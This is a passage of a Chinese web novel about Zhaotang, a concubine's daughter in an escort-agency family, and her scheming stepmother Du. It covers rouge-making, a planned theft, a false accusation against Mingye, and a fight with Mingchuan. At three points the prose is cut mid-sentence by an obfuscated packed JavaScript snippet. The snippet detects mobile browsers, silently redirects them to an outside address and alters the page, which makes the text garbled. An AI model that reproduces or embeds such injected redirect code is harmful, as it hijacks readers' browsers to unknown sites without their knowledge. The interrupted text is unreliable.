杜氏一番话意旨路海大手大脚,轻易便将银钱给了区区一介庶女,杜氏不愿道:“老爷,你这说的什么话,我为路家操持多年,府中哪一件事不是经由我手?可老爷......今日你如此之做,便是驳了妾的面子,你可曾将我放在心上,当真是让妾失望了。” 路海语气稍缓:“这些年,你操持家务井井有条,我知你不易,我也放心将家中大大小小事物交予你手,你看,这几年,你明知银钱亏空......”路海指着杜大娘子,“你屋中首饰,摆放的器物,你......能说是不在库银中抽出? “老爷也知府中事物繁多,老爷出门送镖,一走就是几个月,苏姨娘两个女儿出嫁,明研娶妻,哪一样不要银子?” 路海听见杜氏提到另外两个女儿的亲事,更是气不打一处来,路海道:“杜氏!” 杜氏嫁给路家二十余年,为路海生育两子一女,此番还是头一次听路海称呼她杜氏,她彻底定在原地,神情凝住:“你说什么?” “苏姨娘嫁进陆家多年,一心为我,温情似水,体贴入怀,可你呢?做了什么?”路海也不管旁人在场,“你把昭皖嫁给东市的厨师,把昭思嫁到大名,几年才能回一次云州城,你瞧瞧你做的好事!” 杜氏眼眶发红:“你只识苏姨娘温柔如水,可曾想过我这些年受苦良多?” 路海气的对着杜氏喊叫:“就算我路家再不富裕,倒也不必让女儿如此仓皇出嫁,你告诉我,杜氏!你究竟安的什么心?你又受的是哪门子的苦?” 路海没看杜大娘子一眼,愤然甩甩袖子离开。 杜氏泪挂了满脸,弱水递来帕子,杜氏将脸上泪痕抹净。 黑风寨众人见这场面都摇摇头,只道是城内有头有脸的家族中杂事繁多,不如山上轻松惬意。 人群都散了后,杜氏一记斜眼,暗中探向昭棠的院子。 - 自打路海与杜氏大吵一架后,杜大娘子连日来消停了不少,便也没在过来闹,只有几次,昭棠到院外看见用来制胭脂的器物倒在地上,好在这胭脂只差几日便可制成,便也不碍事。 昭棠拿了早前买过的香料,倒进滤好的杜鹃花汁里,到院外架起火,准备下一步的熬煮。 一双月白色绣花鞋出现在昭棠眼前,水蓝色的罗裙衬着肌肤胜雪,自有一番花容月貌。 女子发间的步摇随着她的走动缓慢摇摆,她看着昭棠的动作,佯做惊奇:“昭棠,这粗活怎好让你来干?”昭霞看似关心,实则是在嘲弄昭棠身为庶女的身份。 昭霞慢言慢语道:“我好言劝你,你还是尽快离开路家吧,身为庶女,这府中是留不得你的。” 昭棠叹口气,这娘俩便这么迫不及待要将她逼出府中了么,她扫了一眼昭霞,神色淡淡,继续搅拌着锅内的杜鹃花汁,道:“姐姐留不得,妹妹便留得了吗?妹妹可知女子出嫁随夫,想来不日嫡母便会为你安排亲事,妹妹还是多花花心思用给自己吧。” 只三言两语便让昭霞失了气势,昭霞辩不过昭棠,只暗暗气愤,临走前,将那火煮着的陶锅一脚踢翻。 7. 嫡母使坏 昭霞施施然走了后,昭棠也不见气恼,只默默把陶锅中还未流出的杜鹃花汁收起来,原本她想多做一些试试效果,若是制出的胭脂品质尚佳,便可在市集上设个摊位挣些银钱。 路海虽念着昔日与柳姨娘旧情,但昭棠清楚,靠人不如靠己,何况那白玉平安扣做工精巧雅致,定是重要之物,她想趁早从杜氏那里把白玉平安扣赎回来,自然要想法子挣些钱。 昭棠整理完陶锅,漏出陶锅外的花汁此刻已然变成了泥,昭棠拾起来准备扔到茅厕去,便在茅厕旁遇见了苏姨娘的小儿子明业。 苏姨娘两个女儿被杜氏早早嫁出,家中只剩一个跟昭棠年纪差不多大的儿子侍奉在侧,昭棠跟明业的关系也较杜氏的子女好些。 明业正跟工人们一起搬运重物,除了路海接镖要运输的货物,还有宅中常用的粮面杂物也要经手。 明业见到昭棠,放下手中物品,招呼过去:“阿棠,母亲说你成婚了?如此大的事,怎不唤我?”明业知道,此事虽然荒唐了些,但昭棠自小胆子便大,对约束女眷的刻板礼教视若无物,若是昭棠做事,便不能用寻常女眷的行为来看待。不过,若是昭霞,杜氏非得将整个路家都翻了个面,也要让众人来参与昭霞的成亲仪式。 昭棠道:“不过一场仪式而已,家中镖师运镖,夜里还要休息,不必惊动府上众人。” 明业摇摇头,要怪便也只能怪柳姨娘走得太早了些,昭棠在这府上失了照应。 青灰色的粗布衣衫松垮垂落下来,为了干活方便,明业穿着跟趟子手一样的裤子。 昭棠看向明业满头大汗,消瘦的身型与膀子上的重物格格不入,手臂晒得黝黑,指尖也被杠子磨出了茧子,明业虽为庶子,但在家中从未做过如此粗活,昭棠盯着那茧子,讶然道:“三哥这是在做什么?” 明业眼中闪过一抹暗色,道:“没什么,母亲说日后让我接管镖局内的事务,我也好先来练练手。” 只有杜氏在宅中方有此权利,这母亲定然是杜大娘子,先不说飞远镖局让杜氏的两个儿子明川、明研把持,这镖局内部的事务,未见真能让明业分得一点担子。 明业道:“先不说这个,你夫君待你可好?” 那日过后,赵猛提到这白玉平安扣是军师自小带在身上的,就连当日遇险白玉平安扣也被紧紧裹在衣袍内里,不曾丢失,昭棠也没想到裴栖迟为了迎娶她,竟愿把自小随身不离的白玉平安扣用作聘礼。 思及此,有股欣喜在昭棠心里化开:“我夫君是个极好的人。” “那便好,听闻你夫君样貌极好,何时能叫哥哥见见?” 她道:“爹爹留了夫君在镖局中做师爷,这会儿他学着收账去了,若是有机会,我便叫他来拜访哥哥。” 明业道:“爹爹对新郎君这般重视,乃是幸事,想来日后妹妹夫妻二人定能助飞远镖局发扬光大。” 迎来一小厮快步奔向明业道:“三少爷,苏姨娘让你拿着银钱去给她买罐胭脂膏。” 明业顿时面露难色,把小厮打发去了。 昭棠问道:“三哥可是有什么难处?” 明业道:“我娘这月的月例已是快要用光了。” 昭棠讶异道:“苏姨娘月例足矣,怎会用光?” 苏姨娘跟了路海多年,自从柳姨娘离世,路海更是把心思移给了苏姨娘,怎么说也不该缺少月例。 明业挠挠头,道:“前几年爹外出运镖摊上了事,宅中更是吃紧,我娘是姨娘,怎可跟嫡母比,况正赶上大哥娶妻,月例自然便减少了。” 这事昭棠自是知道,要怪就怪杜大娘子打脸充胖子,非要求着迎娶江知县之女,下了大把聘礼。明研是抱得美人归了,自那之后路家众人的吃穿用度便降了级。 这还好说,路家怎么说也是云州城最盛的镖局,运镖范围广布,路海每年也挣了不少银钱回来,明业母子二人正常的衣食花销也不会缺少太多。 只是......昭棠觉得奇怪,问道:“苏姨娘怎会连罐胭脂膏都买不起?” 明业叹了口气道:“这几日爹与母亲闹了不愉快,爹对母亲不理不睬,母亲疑心我娘使出了什么计谋迷住了爹,便在月例处下刀,可你知道,我娘哪敢对上嫡母半句话。” 昭棠理解明业的难处:“我那里还有些银钱,且胭脂我正在制,等制好与银钱一并给三哥拿来给苏姨娘解急,你且让苏姨娘放宽了心。” 明业局促道:“怎好麻烦妹妹,妹妹手头也是紧俏。” 昭棠莞尔一笑:“爹给了我不少银钱做嫁妆,三哥有难,我这做妹妹的能帮上一点便是一点。” “那便只好多谢妹妹了,三哥挣了钱定会尽快还给妹妹。” - 屋内一处惹眼的墨色山水图精美屏风,梁枋上雕刻着牡丹,红木座椅内嵌置着数颗玉石,桌岸上摆放着出自名家的瓷器,造型精美,釉色温润,香篆模上精雕细琢地绘制着八卦图,香粉沿着香篆模徐徐燃烧。 杜氏坐在榻上,桌前静静摆着那枚白玉平安扣,她脸上挂着妆,嘴角虚虚翘起。 没成想,这玩意不光可置办一间宅子,在这云州城都可置办三个像飞远镖局这么大的宅子了,又不由拧眉覃思,这小子是什么来头,难不成还真是出自灵寿韩氏? 杜氏不敢想,一旦想起只觉五雷轰顶。 杜大娘子攥紧了手中的帕子,银牙紧咬:“那小蹄子还真能找到这样的郎君!” 又想,与路海成亲这许多年,路海从没在人前忤逆过她,今日却为了一个庶女,当重拆得她下不来台。 “好你个昭棠。”杜氏恨恨道。 自打那日路海甩袖离去,接连几日杜氏都见不着路海的影子,心里又找不到出气的,便私自扣下苏姨娘的月例。 杜氏身边一个女子袖袍轻盈,肌肤白皙,姿色娉婷,走过来带起一丝幽香。 昭霞脸色垂下去,揽住杜氏的胳膊摇晃不放:“娘,你怎可让昭棠这般嚣张?” “还不是你爹,吃了我这多年软饭,现在一朝做主了,给了昭棠那么多银钱做嫁妆,苏姨娘两个女儿出嫁,路家一分钱都没拿,也没见路海说上一句话,是我小看了她!跟柳姨娘那狐媚子一个路数,要不是她,路海平日里对我言听计从,怎会冷落了我,昭棠比柳姨娘更甚,竟敢做出私定终身这档子事来!路海真是猪油糊住了心,便因为嫁女这等小事当众埋怨我,将我这么多年为路家的付出全抛在脑后了!” 昭霞道:“母亲不必忧心,爹爹心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464284|169790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是有你的。” 杜氏适才宽慰半分:“我便是知道,他再翻天也翻不出我的手掌心。”柳姨娘都不在了,苏姨娘一个卖花郎之女,哪来什么本事跟她斗? 昭霞问杜氏道:“那师爷是昭棠的夫君?” 杜大娘子叹口气道:“可不就是。” 昭霞去账房取个物品的功夫,便见到那新来的师爷。 初见那人,一头青丝用一枚白玉簪子虚虚挽起,几率墨发垂落到肩头,握着毛笔的手腕白皙如瓷,光一个侧脸便能叫小娘子惦记上。 月白色的粗布衣袍裹着清瘦的身型,分明是个穷酸书生面貌,却有一丝不容忽视的世家公子气质。 昭霞不明白:“昭棠从何处寻了个这般夫君?可有功名在身?” “放心吧,不过是个没有功名的穷小子。”杜氏拍了拍昭霞的背安慰道。 昭霞道:“可府中的镖师都说他学做账目极快,将来是要到路府管账的。” 杜氏嗤道:“管什么账?管账这事让明川做便是!路家的事自然是路家的人来做,怎么也轮不到一个外人!” 昭霞见杜氏吃了憋,心里也不好受,但一想到那人模样,昭霞便感觉心里咽不下一口气。 昭霞道:“娘,你何时为我寻个夫君?” 杜氏心头本就不快,昭霞又这般絮絮说个没完,心头难免染上一丝浮躁。 杜氏仍然忍着耐心,真切说道:“云州城虽不算繁华,城中有功名的读书人也不少,娘必然为你寻个举人,风风光光地嫁出去。” 昭棠那夫君虽是世家大族的旁支,但身上一无银钱,二无功名,光有个好皮囊有什么用? 昭霞嫁给举人,灭一灭那小蹄子的气焰才好。 昭霞叹口气,艾艾道:“路家库房里又有多少银钱能让女儿风风光光的嫁出去?况且二哥的婚事还没个着落,何时才能轮到我?” 杜大娘子这才抬眸望向昭霞,一拍桌子:“霞儿,你可是提醒我了,老爷还有一笔银钱给了昭棠。” “来人哪!”杜大娘子打开房门,朝屋外唤去。 淡青色褙子掠过门框,银杏对杜氏行了个礼:“大娘子。” 杜氏吩咐:“寻个人来,把昭棠房里的银钱卷出来,小心一点不要被发现,昭棠那丫头武艺不错,一旦碰上,还不知你安排的人能不能打得过,到时见了血,场面可就难看了!” 银杏恭敬开口:“是。” 杜氏摆摆手道:“下去吧。” 银杏离开后,昭霞见状问道:“母亲怎好到昭棠院中偷钱?” “你什么时候如此多嘴?整个飞远镖局的钱都是我的!”杜氏呵斥,缓了一会儿语调又柔和下去,“是我的便也是你们兄妹三个的,明川还未娶妻,你也尚未许了人家,自打摊上案子宅中赔了不少银钱去,再往后路家入账不多,哪有往日的良景?有这些银钱在手,便好为明川谈妥一桩婚事,等明川成亲后,母亲便为你寻门好亲事。” 见昭霞面色难看,杜氏又盘算道:“你别看那昭棠现在安然无事,等过段时日,她必然要求着我放过她!” 昭霞咬了口放在桌案上的栗糕,香甜的味道蔓延在口中,纠结已久的心怀舒展,这才漾开一丝笑意:“那便好。” 8. 闹鬼凶宅 自打成亲之后,昭棠和裴栖迟便重新给院子进行了一番翻修,整理了房屋,又把旧的家具重新刷上一遍漆,还从外面搬了土进来,种了不少的花草,院子看着布置地也算井井有条。 折腾了几日,胭脂膏已然成型,为了节省材料,将木盒制好后,裴栖迟在木材表面上仔细雕刻了一圈云纹,美观淡雅,秀丽雅致。 看起来跟胭脂铺里卖的胭脂膏十分类似,甚至,裴栖迟雕刻的云纹比胭脂铺的木质纹路还要好上一些。 昭棠到东街处寻了个人来人往的地方将摊设好,不出半个时辰,胭脂全被买走。 虽说用藿香作为香料,闻着比龙脑香差了不少,可若是真的在市集中卖上龙脑香的胭脂,售价也高了些许,昭棠还真没把握能全卖出去。 昭棠拢好钱袋,心中颇有开朗。 正赶上夕阳昏黄时刻,昭棠撤了摊子准备往家门走去。 从市集中穿过,昭棠便闻到了鸭肉烤得焦香的味道,昭棠心里一时犯了馋,掂量掂量钱袋子里的一两碎银,踏进了饭馆。 饭馆的招牌随风微微摇晃,外侧的雕花木梁被磨出了些许印子,伙计的吆喝声此起彼伏,在不大的饭馆中间端碗来回穿梭,客人三三两两满怀兴致地交谈起来。 “小二,打包一份梅花汤饼。”昭棠唤道。 “好嘞!” 昭棠刚一坐下,便听到身旁围着一桌子老丈,叽里咕噜聊得起劲。 “听说城西那个闹鬼的宅子挂了两个多月,还没人来买!” “李武,你这说的不是废话,那宅子每夜都有女鬼吟唱的声音,夜里还能看见黑影,这谁敢买啊,住进去怕是十天都睡不了一个安稳觉。” “你俩别吊人胃口,倒是快说说,这凶宅到底怎么回事?” “郭大商人不是常去迎春楼嫖妓么,那新来的歌女歌声清亮,听说鸟儿驻足敛翅,只为欣赏这把好嗓子。郭大商人听得成了痴,夜夜到迎春楼里听曲,哥几个也去过迎春楼看过,那小妾着实称得上貌美如花,也不怪乎被郭大商人惦记。” 有人道:“郭大商人家中的姬妾都要有十多房了吧,还纳不够吗,况且他瘸了足,不好好在家将养,到处寻那如花美妓,也不怕家中梁上着火?” “还叫你说准了,真是梁上着火了!那歌女便这样被郭大商人抬进门中,得了宠爱。其他姨娘不干了,联合起来说什么也不叫那小妾待在府中,郭大商人便到城西置了处宅子,将那小妾安置进去,谁曾想,过了不久那小妾便悬梁自尽了! “还有这等子事?按理说离了郭家,那小妾日子该好过才是。” “真是可惜了这么一个如花似玉的娇娘子。”那老丈眼睛瞪起,嘴讶然张大。 讲故事的人摆摆手,浑不在意:“有甚可惜,说到底不过就是一个青楼歌姬,靠取悦富贵人家为生!” “话可不能如此之说,虽是非亲非故,平白死了个美娇娘,放在谁心里都不好受!” 有人说了实话:“你那是哪是同情,不过是起了色心罢了。” “那这宅子死了人,必然卖不上价了,不知道要价多少?” “难道你还想买?这宅子当初郭大商人花了三百两,现在只怕是三十两也无人愿住进去!” 有人沉思片刻,才道:“小妾刚被逐出府便自尽,此事岂不是另有隐情?” “富贵人家的事,谁知道呢?吃饭!吃饭!” 听完那些老丈的八卦,已过了一个时辰,这小小的云州城倒不太平,什么新鲜事都有。 昭棠没做多想,提着包好的梅花汤饼往家走,到了家门便入了夜。 裴栖迟正伏在案前,拿着毛笔正写写画画些什么,见到昭棠进门,起身道:“娘子可有吃过晚饭?” 昭棠把梅花汤饼提到胸前:“还未,不过我打包了东街饭馆的梅花汤饼。” 昭棠想到今日赚了钱,绽开一抹甜笑,“夫君可吃了?” 裴栖迟道:“尚未,在等娘子。” 昭棠瞥见案上的算盘被打的算珠错落,昭棠道:“夫君可学会账目了?” 正在学做账务收支,除却日常开销,镖师月例还有马匹粮草的费用......”他扶了扶额,声音闷闷带着鼻音,“看的头疼。” 墨发半散垂落,那沉静的眸子染上点点星光,眼底泛起淡淡的红,真是人比花娇,满屋子黑沉被这抹亮色点开。 昭棠可见不得他这样子,除了一张好相貌,平日里为人做事也算成熟稳重,但此刻周身面貌都染上了随意,若是不把他带回宅子,怎知这人前人后差别如此之大。 昭棠岔开话题道:“这梅花汤饼味道可口,咬一口还有汤水流出来,夫君若是没吃,不妨试试。” 那梅花汤饼隔着盒子便能闻出来檀香与白梅交织的清雅气息,昭棠把盒子放在案上,将饼拿出来递给裴栖迟。 裴栖迟接过,咬了一口,这梅花汤饼既有梅花的冷冽芬芳,又带有热汤的绵长暖意。 昭棠笑:“比你那黑木崖上的食物如何?” 他赞许道:“市集中还有这等美味,自然是更好些。” 昭棠想起少时,柳姨娘常带她到集市上买些美味回来,便笑:“今日挣的钱全用来买梅花汤饼了,若是日后挣了钱,带你吃遍这云州城都不成问题。” 裴栖迟道:“那为夫可得接住娘子这番‘豪言壮语’了,便等候着娘子养为夫了,为夫也要将这镖局内部的账目学好才是。” 胭脂售罄让昭棠豁然开朗,她想,若是将秘方上的胭脂做个遍,在云州城设个小摊卖上一卖也能够自给自足。 昭棠得意对裴栖迟道:“胭脂膏卖的极快,我还打算多做些胭脂膏到其他市集上兜售。” 裴栖迟:“那便是极好,不过娘子也不要太累了。” 夜色已至,洗漱过后,昭棠扯开叠好的被褥钻了进去,一双杏眼流转似有碎星跃动,莹莹闪烁的烛火透过阻挡两人的屏风,昭棠目光穿过屏风看向那人躺在矮榻上稳稳的身影。 良久,闭目睡了过去。 - 一早,裴栖迟便说赵猛找他有些要事,回了黑木崖,昭棠继续按着柳姨娘留下的秘方研制剩下的胭脂。 昭棠想起交待给明业的事,便拿出银钱和胭脂膏走出院门,刚走到苏姨娘宅门外,里面倏然传来一声巨大的瓷器碎裂的响声。 紧接着,明业嚎啕哭泣道:“大娘子,都是苏姨娘的不是,你饶了我们吧,你让我做什么活我都做!只求你别扣掉我娘的月例。” 苏姨娘扯着手帕掉着泪珠,两支珍珠发簪束起回心髻,绛紫色褙子与这珍珠发簪相得益彰,衬得苏姨娘举手投足间仍现出往日风华。 杜氏笑了起来:“明业,你就别假装孝子了,你偷偷到迎春楼狎妓的证据还留在我手上,苏姨娘莫不是以为,柳姨娘死了以后自己可以摇身一变做这路家的女主人了,连我这个大娘子也不放在眼里?” 明业身子一抖,身躯伏在地上,几乎要与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464285|169790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地面齐平:“母亲,请母亲明鉴,明业从不曾狎妓。” 杜氏道:“你还敢嘴硬?” 苏姨娘道:“妾安安心心当这姨娘,从未有半分逾越之心!大娘子怎可如此议妾?” 杜氏鼻孔对着苏姨娘,道出一声冷哼。 明川身着宝石蓝缎面长衫,衣衫上绣着暗色莲纹,身姿挺拔地站在杜氏身后:“哦?那从你房间中搜出的这个青叶酿罗手帕又是谁的?” 明业见到那青叶酿罗手帕,整个人都震住,千不想万不想,杜氏竟暗中进入他的房间搜查,全然没把他们母子放在眼里。 心里明知是一回事,真被杜氏当面逼迫又是一回事,明业只觉心上微凉。 明业嗫喏着:“那青叶酿罗手帕并非是我的,却也不是迎春楼的妓子的......” 明川道:“那你倒说说是谁的?” 明业说不出话:“我......” 明川道:“那日,我见你与一女子在迎春楼后暗通款曲,纠缠许久,你敢说那不是妓子吗?” 杜氏清了清喉咙,略带嘲意:“明业说不出来了?那便苏姨娘来说吧。” 苏姨娘扯紧绣帕:“业儿,业儿从不是如此莽撞行事之人,我相信他。” “苏姨娘,你莫装腔,你是真不知还是假不知?” 明业抢话:“我娘什么都不知道,我说,我说便是。” “还不是让我诈出来了,快说吧。”杜氏嘲弄地笑笑,“真乃是可笑,咱们这路家庶出子弟还真是稀罕,一个两个倒是把偷情做了个遍!你们不怕外人笑话,我这做大娘子的,也怕旁的人,碎嘴说闲话传到我耳朵里。” 未婚男子与女眷偷情,除了丢失脸面,还会触犯律法。明业若是招了,杜氏便能顺理成章把这母子二人赶出路家,旁人还会赞许杜氏做得好,那杜氏便在路家一人独大了。 赶出路家是小,就怕明业会被送去官府处置。 只听明业又道:“那女子是我的表妹,叶洳。” 杜氏顿觉意外,一个摇晃,手用力撑住门框。 这所谓私通的女眷还是路海的姑表亲,杜氏越发感觉头晕,明业是庶子,与外女有私情,在整个云州城都是腌臜之事,将他赶出路家实在是轻而易举。 可这叶洳是路海同胞之女,算是半个路家之人,若是传出去,惊动了路海,污了路家的声名,路海定然不会放过她。 可她此次来势汹汹,戏台子早早搭好,岂能再把台子撤掉?若是轻易放过这对母子,下次再找到由头对付这对母子可就难了。 杜氏道:“胡说!老爷姑母之女远在大名城,怎会来到云州?” 明业哭求道:“叶洳年初便随母亲回了云州,求大娘子放过叶洳吧,洳儿什么都不知道,一切都是我的错,我娘也并未知情。” 杜氏不敢难为叶洳,还有一个原因便是路海姑母所嫁之人乃是大名城的知府,杜氏是万万不敢跟堂堂知府作对的。 杜氏缓慢道:“放过叶洳,好啊,只要你承认,这青叶酿罗手帕是迎春楼妓子的,我便放过你。” 明业道:“我......” 杜氏话风一转:“明川,鞭子带了吗?” “回母亲,带了。” “给我狠狠抽!”杜氏发话。 “砰”地一声闷响,廊下铜铃乱晃,苏姨娘房间的门框被踹得稀碎,杜氏不及闪躲,锦缎衣袖险险擦过迸裂的檀木棱边框,明川转身长臂快速将杜氏拽至身后。 9. 禁足 女子一身鹅黄色罗裙,梳着两个娇俏的双螺髻,髻间点缀着蓝色的翠羽蝴蝶,随着她的动作轻轻摇曳,衬得那双杏眼中星光点点。 弯月般的眉梢挑起,反手一掌劈上明川手里的鞭子,鞭子顿时断成两截。 明川放下手中断裂的皮鞭,脸色忽变,掌风直直攻向女子的脸颊,昭棠身子轻盈,旋身跃到屏风后面,避开这一击,裙摆如蝴蝶翻飞,足尖顺势探向明川。 明川扯过衣角的刹那,顿失平衡,顾不得护住一旁的杜氏。 分神的片刻昭棠的攻击便袭来,明川踉跄着倒向方桌,腰间重重摔到案角,疼得他脸色发白。好在反应迅速,方才险险避过。 几案上摆着的茶具、盆景乃至瓷器,还有苏姨娘梳妆台面上的铜镜、饰品全未能幸免,“哗啦”跌落在地。 昭棠动作未停离明川越来越近,明川迅速起身,转向昭棠身后,手刀发狠对上女子白皙的脖颈。 昭棠身姿轻巧,回身间,明川手腕被昭棠反扣住,只觉手腕处一阵剧痛,仿佛被铁钳紧紧夹住,动弹不得。 “明川!”杜氏惊呼。 眼见明川渐渐处于下风,杜氏待不住了。 杜氏身体战栗,大声嚷道:“弱水,去把大少爷叫过来,银杏,快去叫老爷!” “是!” 丫鬟们不敢耽搁,凌乱的脚步急匆匆穿过堂屋,不时躲避地面上碎裂的瓷器、花瓶渣子。 明川急促喘息,面上流露出不甘:“昭棠,你这是干什么!” “我还想问呢,二哥是要对三哥做什么?”昭棠瞥向那断成两截的皮鞭,眼眸微压,“按说,府内有人犯了家规,应是罚跪到祠堂面壁思过才是,就算是鞭笞,也该是爹爹来做,二哥何故越权行事。” 明川被莫名打了一顿,虽然身上最重的伤并非来自昭棠,而是技不如人,被方桌桌角磕住的那一下,此刻还觉腰间隐隐作痛,昭棠还这般口吻,如同审问,心中愈发不快。 明川龇牙咧嘴:“自小,家门便教育子女长幼有序。” 明川的手腕还被昭棠紧紧扣住,半点挣脱不出,“妹妹这般对待哥哥,便不怕诬了自己声名吗?” 昭棠反而笑起来,眉间一抹亮色绽开,明明是笑颜,可那眼底里的情绪看的明川森森的。 昭棠道:“妹妹不过一介庶女,在飞远镖局当是你们兄妹三人说了算,妹妹的一言一行岂能影响到镖局的分毫?” 明川微露得意:“你便是知道,还不快将我松开!” 腕间禁制没松反而变紧,疼痛倏然加剧,他挣了挣,便感觉如同被上了枷锁,他不解问:“昭棠!你到底要干什么?” “我不是说了,我只是一介庶女,这飞远镖局的摊子又落不到我身上,我何须在意什么名声,我只想寻个心里得劲罢了,三哥在镖局内部做事兢兢业业,挑不出半点错处,今日你用皮鞭抽打三哥,我只当是为三哥讨个说法。” 明业跪伏在地上:“妹妹,我承认便是,你不必与二哥为我闹起不愉快。” 明业虚长昭棠两岁,青灰色的短打勾勒出肩膀结实的肌肉轮廓,肤色因在外奔波被晒得发黑。 昭棠望着身躯跪地的明业:“三哥可知,你承认的后果?你被赶出家门不说,还连带上苏姨娘,苏姨娘养在路家多年,何苦跟你出去受罪吃苦。” 明业沉默下来,面上闪过一丝挣扎。 明川冷冷笑出声:“你如此担忧明业,不如想想今后在这路家还怎么混,与兄长动手,你打赢了我并不能证明什么,还是等爹爹过来定夺!” 明川心中暗忖,没得昭棠的武学天分不说,自己年少学武还时常偷懒,竟抵不过女子的气力。武力胜不过昭棠也就罢了,那便在嫡庶之间压一压昭棠。 弱水惊慌失色跑进堂屋,道:“大少爷不在家中,大少爷去知县府上为知县庆寿了!” 杜氏银牙紧咬:“这个明研,光顾着哄岳丈开心,需要他的时候,寻不见人影!” 杜氏看昭棠扣住明川的手腕,没有再打的意思,心头踏实些许,便拂了拂袖口,道:“昭棠,松开明川。” 昭棠安如磐石,桎梏着明川,对杜氏的话恍若未闻。 明业劝道:“妹妹,你松开二哥吧,二哥也没真对我下手。” 明川感到手腕扣的实沉,附和道:“就是,就是,我鞭子还没下手,你便闯进来。” 杜氏吊起眼,轻蔑道:“我还真就不信了,这路家能容得你一个庶女撒野,”说罢,回身看向弱水,催促道,“银杏在磨蹭什么,老爷怎还未到?” 数个脚步声出现在门外,银杏的声音在屋外焦急响起:“来了,老爷来了!” 身后数名小厮跟在路海身后,路海一只脚刚踏进堂屋,便见满地狼藉,碎瓷片铺了一地,花枝散落在地,失了平日里的美感,紫砂壶磕出一道月牙裂痕,几片茶叶黏附在案角,茶叶混合着茶水沿着桌面往下流淌。 路海环顾屋内,又见苏姨娘低眉抽泣的眉眼,明业跪在地上,半点不见少爷的模样。 只这刹那间,路海便火气上涌,胸口一阵翻腾,怒声喝道:“你们这是要闹翻天不成?都给我滚去祠堂!” 随即,路海袍袖一甩,一刻也不愿多待,率先迈向屋外。 杜氏唇角闪过一丝不易察觉的笑意,忙吩咐弱水扶起明川。 昭棠适才松开制住明川的手,蓦地上前,将明业搀起。 祠堂内,祖宗牌位前肉类果品、糕点清茶摆得齐整,鎏金烛台上的红烛明明灭灭,光影在墙壁上摇曳。 路海重重落座主位,明川和杜氏站于一侧。 路海脸色绷紧:“明川,你且说说,为何私自对明业用刑?” 明川面露倨傲:“三弟在外与迎春楼妓子有染,败坏门风,我这做二哥的,自是要对他惩以小戒。” 路海语气低沉下去:“明业,当真有此事?你且详细说来。” 明业支支吾吾,张了张嘴又闭下,一道剑眉紧紧皱起,不肯言说。 昭棠向前一步,缓缓道来:“爹爹,是母亲和二哥污蔑三哥,三哥那般老实,平日里就围着镖局内部大大小小事务打转,哪来的心思到迎春楼做那等狎妓之事,事情另有隐情。” 路海道:“哦?明业,哪来的隐情?” 昭棠碰了碰明业的肩,示意他开口说出实情。 明业:“儿子......” 杜氏道:“分明就是明业做出狎妓这等下流之事,昭棠替他辩解罢了,这二人向来目无尊长惯了,老爷还不重重罚他们?” 路海更沉地倚在红木椅上,将话递给杜氏:“那你认为该如何罚?” 明川先一步说道:“儿子认为,应该将苏姨娘母子二人与昭棠即刻逐出路家!” 闻言,苏姨娘顿时扑倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464286|169790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在地,整理好的发髻散落在面,跪坐的身型一点一点挪到路海腿边,垂着脸道:“老爷,明业是妾看着长大的,绝无可能做出此事,昭皖和昭思早早便嫁了出去,路家就剩我们孤儿寡母,分明是她人有意要对付我们母子。” 苏姨娘说完这话,路海的脸色松了些许,眉目间隐隐染上几分愧疚。 苏姨娘看向明业,哽咽道:“明业,还不快说!” 明业喉咙涌动:“那女子并非是迎春楼的妓子,洳儿清清白白,万不可以妓子之名污了她......” 路海乍听见叶洳这名字,大喝一声:“什么?” 杜氏笑出声:“正是,那女子是老爷姑母之女叶洳。” 路海脸色微变:“你跟洳儿到底什么关系?” 明业:“不过是洳儿赠我手帕与我交好罢了。” 路海:“真是反了!发生如此之事,让我如何跟姑母交代?” 明业欲泣:“爹爹,我跟叶洳没有任何不正当之交,只是幼时情谊尚在,对彼此暗含好感罢了,那日在迎春楼后,不过是儿子路过见她一面,她便给了我这青叶酿罗手帕作为信物,谁成想,竟让二哥误以为是妓子,二哥怎么责怪我都没事,只是洳儿冰清玉洁,怎能当得了这妓子二字!” 杜氏拱了一把火:“老爷,这暗含好感,想必是明业的托辞,此二人定有私交,明业不知悔改便是该罚!” 明业恳切说道:“儿子说的句句是实情,望爹爹明察!” 路海脸色忽明忽暗,望着杜氏道:“若真如你所说,明业犯了错,逐出明业便是,与苏姨娘和昭棠何干?” 明川举起手臂,手腕受伤处已然红肿:“父亲请看,昭棠拿爹爹教她的武艺与我动手,心里可还有我这个二哥?便是如母亲所说目无尊长,且婚事讲究父母之命,昭棠私自定下婚事,想来,根本不曾把母亲和爹看在眼里。” 